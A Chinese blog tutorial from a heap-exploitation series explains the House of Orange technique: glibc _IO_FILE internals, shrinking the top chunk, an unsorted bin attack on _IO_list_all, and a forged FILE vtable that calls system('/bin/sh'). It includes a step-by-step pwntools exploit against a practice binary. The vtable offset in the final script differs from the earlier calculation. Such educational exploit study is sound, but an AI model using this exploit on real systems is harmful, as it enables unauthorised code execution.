从零开始的Linux堆利用7 -- House of Orange

在上次介绍过了Unsortedbin attack之后,再稍微进一步看一个更复杂一些的利用

House of Orange

这种利用技巧源于一道Hitcon CTF的同名题目,不过之后也有一些其他的变形

IO_FILE

在看House of Orange的例子之前,我们首先了解一个Linux中的利用机制

_IO_FILE

使用gdb随便调试一个程序

例如gdb /bin/sh

之后start加载这个binary所有的依赖库文件

可以使用ptype /o struct _IO_FILE查看这个结构的定义

/o是在输出是显示偏移(offset)

在pwndbg中可以直接写为dt FILE

dt是pwndbg的指令dump type

如果要用dt查看其他结构需要用上引号dt "struct _IO_FILE"

image-20211104165713039

_IO_FILE这个结构体中有一个_chain可以看到它的类型是一个struct _IO_FILE *,也就是说是一个指向其他_IO_FILE结构体的指针;

在使用fopen之类的函数打开一个文件之后,实际上系统会在堆上创建一个这样的_IO_FILE结构体,并将其加入到一个单链表中,单链表的头部为_IO_list_all,这个单链表可以理解为是一个专门存储_IO_FILE的fastbin

在gdb中输出_IO_list_all,可以看到这个的类型是_IO_FILE_plus

image-20211104171644172

输出这一个结构的类型,可以看到这个结构实际上就是_IO_FILE加上了一个vtable

image-20211104171711191

(下面的子节介绍了虚函数表的知识,可以看完之后再跳回来)

那这个_IO_list_all结构体里面这个vtable是干什么用的呢?

为什么会用到C++里面的这种虚函数表呢

实际上GNU的C++库和C库联系非常的紧密,调试C++程序的时候可以发现其实一些C++的库函数底层实现都是借助C库的函数完成的

例如C++的方法make_shared()make_unique()等底层实际上也都是通过malloc实现的

这里的这个vtable实际上是为了与C++的streambuf类兼容才会出现的

但是这里兼容性上的问题,让GLIBC的file stream有可能存在虚函数表劫持的漏洞

另一方面,我们知道Linux的文件系统中一切皆为文件

每一个进程创建时都会有三个标准I/O File Stream:

  • stdin
  • stdout
  • stderr

即使程序没有输出、没有输入,它也会存在这三个标准的I/O

还是以前面gdb打开的/bin/sh为例,查看它的_IO_list_all可以看到上面的三项内容

分别就是这三个标准的I/O

image-20211104175918057

这个程序甚至还没有运行起来

所以即使一个程序没有用到文件,我们仍然是有可能利用到I/O File Stream的

虚函数表

这个vtable是一个虚函数表

这边需要补充一些vtable的相关知识

像C++这样的编程语言有一个机制叫做多态,参照菜鸟教程的例子

#include <iostream> 
using namespace std;
 
class Shape {
   protected:
      int width, height;
   public:
      Shape( int a=0, int b=0)
      {
         width = a;
         height = b;
      }
      virtual int area()
      {
         cout << "Parent class area :" <<endl;
         return 0;
      }
};
class Rectangle: public Shape{
   public:
      Rectangle( int a=0, int b=0):Shape(a, b) { }
      int area ()
      { 
         cout << "Rectangle class area :" <<endl;
         return (width * height); 
      }
};
class Triangle: public Shape{
   public:
      Triangle( int a=0, int b=0):Shape(a, b) { }
      int area ()
      { 
         cout << "Triangle class area :" <<endl;
         return (width * height / 2); 
      }
};
// 程序的主函数
int main( )
{
   Shape *shape;
   Rectangle rec(10,7);
   Triangle  tri(10,5);
 
   // 存储矩形的地址
   shape = &rec;
   // 调用矩形的求面积函数 area
   shape->area();
 
   // 存储三角形的地址
   shape = &tri;
   // 调用三角形的求面积函数 area
   shape->area();
   
   return 0;
}

这里面有一个Shape类,另外有两个子类RectangleTriangle

有一个area方法用于计算面积,但是三角形好正方形算面积的方法是不同的

同样调用的是area,编译器怎么就知道该去链接到哪一个函数呢

父类Shapearea是一个虚函数,编译器编译的时候不会链接到这个函数

实际上在创建rec对象和tri对象的时候,每个对象会有一个指向虚函数表的指针

这个指针会指向真正在链接时需要链接到的函数

在C++程序的exploitation中,一个比较常见的攻击方法就是劫持虚函数表

将一个对象的vtable pointer利用溢出等漏洞修改为我们伪造的一个函数表,这样每次触发应该调用的方法时就会执行伪造的地址指向的函数

House of orange

原理

House of orange的核心思想主要是这样几部分:

  • 不使用free函数而得到一个free chunk
  • 伪造vtable

具体而言,获取free chunk的实现方法是修改Top Chunk

从零开始的Linux堆利用1#House of Force Private or Broken Links
The page you're looking for is either not available or private!
中使用的方法是修改Top Chunk为一个特别大的值,之后我们申请一个特别大的chunk,循环一遍内存之后就可以访问到原本Top Chunk上方的内容

那如果将Top Chunk修改为一个很小的值呢?

image-20211105215326883

在我们最开始学习堆的时候有了解到,malloc分配内存的时候实际上更底层是通过sbrk的调用拓展内存的空间的,这里图中绿色的线表示的就是brk目前分配到的位置

假如我们把Top Chunk修改为一个很小的数,这时再申请一个更大的chunk

内存认为的Top Chunk是无法满足申请空间的需求的,因此堆管理器后续会再使用brk申请一块新的区域

image-20211105215825040

正常来说堆管理器会直接将通过brk分配的新内存直接并入到Top Chunk中(即让Top Chunk变大)

但是由于我们改小了Top Chunk,堆管理器认为Top Chunk与堆的尾部并不相邻

因此会将原本的Top Chunk Free掉

这样一番过程下来,我们就没有通过Free函数得到了一个Free chunk

根据修改的Top Chunk大小,我们可以利用这个Free Chunk来实现从零开始的Linux堆利用6#unsortedbin attack Private or Broken Links
The page you're looking for is either not available or private!

利用Unsorted bin attack结合IO_FILE的伪造就可以直接getshell

实践

检查安全措施,可以看到这个程序开启了Canary和NX、got表不可写并且开启了随机化

image-20210716114412343

尝试运行一下

image-20210716113739424

这里使用到的程序有这样三个选项,可以申请两次小chunk和一次大chunk

申请之后在gdb中可以看到

image-20210716114539341

小的chunk是0x20大小,而大的chunk大小是0xfd0

这个示例程序的漏洞在于edit函数,没有进行长度检查,可以溢出后面的chunk

但是edit只允许修改第一个small chunk

那么就按照前面说的思路首先修改Top Chunk为一个比较小的值,之后再申请这个大的chunk

为了使用unsortedbin attack,这个大小我们先定为0x100

小chunk大小为0x20,可用的内容应该是0x18,所以我们的payload为

small_malloc()
edit(b'Y'*0x18+p64(0x101))

image-20211106143507749

运行后可以看到Top Chunk被我们改写为了0x101

这时我们再申请一个 large chunk

image-20211106170643358

但是并没有顺利执行,遇到了一个这样的报错

使用f 3切换frame到sysmalloc,可以看到在malloc里面实际上是因为一个assert语句出现了错误

image-20211106170800497

我们仔细看一下这里报错的语句,核心检查的地方其实是这两句

prev_inuse (old_top) &&
  ((unsigned long) old_end & (pagesize-1)) == 0

前一句很简单,就是说Top Chunkprev_inuser位一定需要为1

后一句则是在检查Top Chunk是否在一个页的边界结尾,即是否按页对齐了

这里报错主要是这个页对齐检查没有通过

所以我们伪造的top chunk大小需要进行修改

在Top Chunk之前我们申请了一个0x20大小的chunk,因此这个大小我们伪造为0x1000-0x20

small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()

再次运行,可以看到就没有出错了

image-20211106212850029

可以看到我们在这里得到了一个unsorted bin

那么接下来就是利用unsorted bin attack了

利用unsorted bin attack我们可以将main_arena写到任意地址

不过我们往哪里写这个值呢?

House of Orange接下来的步骤就是利用unsorted bin attack篡改_IO_list_all的指针

small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
edit(b"Y"*0x18+p64(0x21) + p64(0) + p64(libc.sym._IO_list_all - 0x10))

我们获取到这个unsorted bin之后修改fd、bk

fd写成任意一个值,bk改为_IO_list_all指针前0x10的值

之后再申请一个小的chunk

这样在申请时就会遍历unsorted bin,将这个unsorted bin unlink

image-20211106220920003

执行之后可以看到这时_IO_list_all已经指向main_arena中的值了

正常来说,在程序退出时会对_IO_list_all中的文件进行关闭(flush)

这个退出可能是调用了exit,也可能是正常的从main函数中return

这里下一个断点观察一下程序的行为

set breakpoint pending on
b _IO_flush_all_lockp

选择4 quit的操作

断在了这个函数,看到backtrace里面,这个_IO_flush_all_lockp是由_IO_cleanup调用的

image-20211106221649773

继续运行,不出意外肯定会报错

image-20211106221829226

这里错误是因为main_arena被当作File Stream对待

我们希望触发的是_IO_OVERFLOW(fp,EOF)这一行

在这之前第一句进行了两个检查

fp->mode <=0 && fp-> _IO_write_ptr > fp-> _IO_write_base

image-20211106222318329

这里被解析时_mode被认为是一个负数,程序认为这个File Stream不需要被关闭

于是直接去看下一个FileStream了

下一个File Stream是去找了_chain这个对象指向的位置,我们可以看到这里仍然在main_arena

这里是main_arena+168,值为0x7ffff7dd4bc8的位置

image-20211107144241332

关于main_arena的结构,我们可以复习一下这张图

image-20210310161659389

图中Top Chunk0x555555778fd0unsortedbin fd0x555555757020

依次对应下来图中红框标记出来的 0x7ffff7dd4bc8对应的是0x60的smallbins

所以在第一次_IO_flush_all_lockp执行失败后会顺着_chain找到这个0x60的smallbins进一步处理

那我们如果将一个伪造的FileStream数据填到这里就可以执行对应的内容了

还记得前面我们伪造了一个unsortedbin的大小吗?

如果我们将unsortedbin的大小伪造为0x60,在申请一个0x20大小的chunk时,这个unsortedbin就会被sort到这个0x60的smallbins中

也就是说我们直接在这个bins中伪造数据,就会被解析为FileStream了

修改一下payload

small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
edit(b"Y"*0x18+p64(0x61) + p64(0) + p64(libc.sym._IO_list_all - 0x10))

那么伪造File Stream的数据都需要填哪些呢?

先暂且不修改后面的内容,运行一下,看看这个smallbins的位置是如何被解析的

image-20211107153214604

这篇博客开始时我们讲到用dt FILE查看_IO_FILE结构

image-20211104165713039

对应来看的话,原本chunk的size字段是_IO_read_ptr

flags对应的是prev_size的地方,所以我们edit修改数据时填充可以少8个字节

想要触发overflow函数,需要满足的条件是

image-20211106221829226

这里写到的fp->mode <=0并且fp-> _IO_write_ptr > fp-> _IO_write_base

那么我们对应的设置一下这些值

wirte_end及之后的内容直到mode都是对我们没用的数据,直接先填0

这部分数据长度从0x300xc0,用p64(0)*18来填充

payload = b"Y"*0x10

flags = b"Y"*0x8

fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)

payload = payload + flags
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr         
payload = payload + p64(0)*18
payload = payload + p32(mode) + p32(0) + p64(0)*2

到这里为止,后面还有一部分没有用到的空间,是_IO_FILE结构中最后的unused部分有20个字节

我们也全部用0填充

以上内容就构造完毕了_IO_FILE结构,但是关键的vtable指针还没有修改

image-20211107162106998

要伪造的vtable本身只是填一个任意的我们可以控制的区域的地址就可以

为了节省一些空间,我们让这个指针指回到伪造的_IO_FILE

那么计算一下vtable的值,从heap开始的位置,首先加上是0x20大小的一个small chunk

加上0xd8大小的整个伪造的_IO_FILE结构

减去重合的8字节

最后是减去overflow函数的地址偏移24即0x18

修改一下之前payload的最后一部分

vtable = heap + 0x20 + 0xd8 - 0x8 - 0x18

payload = payload + p32(mode) + p32(0) + p64(0) + p64(overflow)
payload = payload + p64(vtable)

最后就是overflow的值了

这里有两个选择,一是可以直接填写一个one_gadget

或者我们可以回忆一下,overflow函数调用时的样子

image-20211106221829226

实际上调用的参数是fp,也就是最开始的flags

毕竟整个_IO_FILE都是我们伪造的内容,因此这个flags也可以直接控制

那么另一个简单的方法就是修改为

flags = b"/bin/sh\x00"
overflow = libc.sym.system

那么最终完整的部分为

#----- 修改Top Chunk得到一个Free chunk
small_malloc()
edit(b"Y"*0x18 + p64(0x1000-0x20+0x1))
large_malloc()

#-----伪造IO_FILE劫持vtable
payload = b"Y"*0x10
flag = b'/bin/sh\x00'

fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap + 0xd8)                                                                                                                             
overflow = p64(libc.sym.system)

payload = payload + flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable

edit(payload)

#-----触发操作让unsortedbin被sort
small_malloc()

执行一下脚本,虽然报了一堆错误,但是执行下来还是弹回来了一个shell

image-20211107165153724

这就是House Of Orange的完整过程了,确实很巧妙,并且过程也比之前学到的内容复杂一些

不好理解的话实际动手写一下就会好很多